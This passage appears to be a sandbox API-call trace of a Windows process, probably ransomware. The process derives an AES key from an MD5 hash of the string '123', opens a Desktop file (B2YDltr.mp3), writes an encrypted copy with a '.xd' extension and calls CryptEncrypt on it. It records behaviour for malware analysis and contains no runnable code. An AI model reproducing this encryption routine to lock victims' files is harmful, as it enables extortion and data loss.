lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.937] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.937] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.938] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.938] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.938] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.938] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.938] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.938] CryptCreateHash (in: hProv=0x1631ee0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.939] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.939] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.939] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.939] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.940] CryptHashData (hHash=0x164c6b0, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.940] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.940] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.940] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.940] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.940] CryptDeriveKey (in: hProv=0x1631ee0, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0074.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.941] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.941] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.941] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.941] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0074.941] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.942] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\b2ydltr.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.942] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.942] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.942] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.943] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\B2YDltr.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\b2ydltr.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.949] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.949] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0074.951] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x76c8, lpOverlapped=0x0) returned 1 [0074.952] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.956] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.957] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.957] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.957] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.957] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.957] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.957] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.958] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.958] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.958] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.958] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.958] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.958] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.959] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.961] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.961] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x176c8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x176d0) returned 1 [0074.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.961] CharLowerBuffW (in: lpsz="byte[95953]", cchLength=0xb | out: lpsz="byte[95953]") returned 0xb [0074.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.963] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.963] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.964] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.964] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.964] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x186d008*, pdwDataLen=0x130e618*=0x176c8, dwBufLen=0x176d0 | out: pbData=0x186d008*, pdwDataLen=0x130e618*=0x176d0) returned 1 [0074.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.965] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.965] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.965] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.965] CharUpperBuffW (in: 